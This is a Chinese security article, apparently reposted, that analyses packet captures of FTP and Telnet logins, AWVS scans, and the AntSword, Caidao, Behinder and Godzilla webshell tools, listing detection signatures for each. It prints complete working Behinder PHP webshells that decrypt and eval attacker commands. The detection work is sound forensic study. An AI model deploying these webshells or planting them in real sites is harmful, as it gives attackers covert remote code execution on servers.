协议及webshell流量分析
2022-8-26 00:1:53 Author: 橘猫学安全(查看原文) 阅读量:26 收藏

FTP在传文件时:

FTP客户端程序先与服务器建立连接,然后向服务器发送命令;
服务器收到命令后给予响应,并执行命令。

如下图所示,可以看到ftp传输的所有信息,FTP是明文形式传输数据包,我们能在info中看到登录FTP的用户名、密码、执行命令等。

客户端首先与FTP服务器TCP三次握手建立连接,建立连接成 功后,FTP服务器返回状态码220,表示服务就绪。

FTP服务器返回状态码220 特征:File Transfer Protocol (FTP) 220 Welcome to the FTP Server\r\n Response code: Service ready for new user (220) Response arg: Welcome to the FTP Server
向FTP服务器发送登录用户名:ftp并等待验证,用户名验证通过后,FTP 服务器返回状态码331,表示用户名验证已通过并需要输入密码。

特征:
File Transfer Protocol (FTP) USER ftp\r\n Request command: USER Request arg: ftp 使用了FTP协议,输入的用户名为ftp,请求的命令是USER,请求参数为ftp。

服务器返回331,用户名验证通过(存在此用户名) File Transfer Protocol (FTP) 331 User name ok, password required\r\n Response code: User name okay, need password (331) Response arg: User name ok, password required

将登录密码:123456发送给FTP服务器,FTP服务器验证后返回状态码 230,表示用户已经登录。

特征:
File Transfer Protocol (FTP) PASS 123456\r\n Request command: PASS Request arg: 123456 输入的密码为123456,请求的命令是PASS,请求参数为123456。

服务器返回230:File Transfer Protocol (FTP) 230 Password ok, continue\r\n Response code: User logged in, proceed (230) Response arg: Password ok, continue

终端向FTP服务器发送命令,FTP服务器返回状态码 200,表示命令执行成功。

特征:
执行命令:File Transfer Protocol (FTP) PWD\r\n Request command: PWD 服务器返回200:File Transfer Protocol (FTP) 200 Connection established (60309)\r\n Response code: Command okay (200) Response arg: Connection established (60309)

telnet

主机输入一个字符就发送一个Telnet报文(登录登出、执行命令均是如此)


对telnet进行爆破,对其中一个进行查看,发现使用明文传输,可以看到爆破的密码


特征:Telnet Data: qwerty\r

AWVS

若是使用AWVS扫描器对网站进行扫描攻击,拿到流量包进行查看,会发现大量的TCP数据和HTTP数据,可先进行筛选HTTP数据,查看Hypertext Transfer Protocol(应用层的信息),会发现AWVS特征,如下图所示。

蚁剑

上传并执行命令:

数据:

特征:
(1)HTTP请求中含有antSword,如下所示:User-Agent: antSword/v2.1

(2)每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头(有的工具会将这段编码或者加密,而蚁剑是明文),并且存在base64等字符,响应包的结果返回格式为 随机数 结果 随机数。

post数据url解码:

响应包格式:

菜刀

(1)菜刀中,@ini_set(“display_errors”, “0”);@set_time_limit(0)是base64编码

(2)菜刀伪造User-Agent,其UA为伪造成百度爬虫

冰蝎

冰蝎2.0

冰蝎的通信过程可以分为两个阶段:

1. 密钥协商 2. 加密传输

服务端支持open_ssl时,使用AES加密算法,密钥长度16位。

上传shell.php为例

<?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params); } ?>


上传并执行命令:

上传shell并执行命令数据包:

密钥协商

客户端以get/post形式发起请求服务器密钥,由上图可以看到发送两次get请求,分为两次get握手请求,第一次请求服务端产生密钥写入session,第二次请求获取后续解密使用的 key。下图所示的 d7931a0d0b6de197就是解密后续代码的key。

加密传输

post发送及服务端返回数据均加密通信,如下图:

1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;3)执行结果通过AES加密后返回给攻击者。

使用d7931a0d0b6de197对post数据进行解密,发现解密后数据还进行base64编码,可以直接base64解码

(后续数据包均使用d7931a0d0b6de197作为密钥进行AES解密,得到的数据进行base64解码,即可看到明文数据)

查看执行命令数据包:

进行AES解密:

base64解码,可以查看到我们执行的命令:

同样的操作对返回数据解密

查看结果如下:

特征字段

(1)Accept与Connection

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

默认情况下,请求头和响应头里会带有 Connection,Connection: Keep-Alive

(2)密钥传递阶段,密钥存在于Response Body中

冰蝎3.0

采用预共享秘钥,全程无明文交互

上传shell.php

<?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $_SESSION['k']=$key; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); ?>


上传并执行命令时数据包:

执行命令:

上传数据包:

使用AES解密 (密钥为shell.php连接密码32位md5值的前16位)

将解密出的内容base64解码

$content这个变量名称和里面的内容为随机生成的, 目的是为了绕过$Content-Length
响应包内容:

先进行AES解密

对msg内容base64解码,得到的与客户端发送的$content一致,验证通过

参考:https://xz.aliyun.com/t/9404#toc-1

哥斯拉

(以2.9.6为例)

生成并上传test2.php:

执行命令:

数据:

查看数据包,第一个包响应为空:

特征字段:

(1)User-Agent:哥斯拉客户端使用JAVA语言编写,在默认的情况下,user-Agent显示为:User-Agent: Java/1.8.0_271(具体什么版本取决于JDK环境版本)

(2)AcceptAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2冰蝎中也出现过同样的Accept。

ps:以上特征可以通过自定义http头部进行去除。

(3)Cookie:``Cookie: PHPSESSID=rut2a51prso470jvfe2q502o44;cookie最后面存在一个“;”

转自:https://www.freebuf.com/articles/web/330553.html

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247497578&idx=2&sn=64754cf8208da5c1c805549b03fee664&chksm=c04d7054f73af942c0f2d60765139bf7592e2a7c6f11d71926cfad227cfdb2f3ade987988c25#rd
如有侵权请联系:admin#unsafe.sh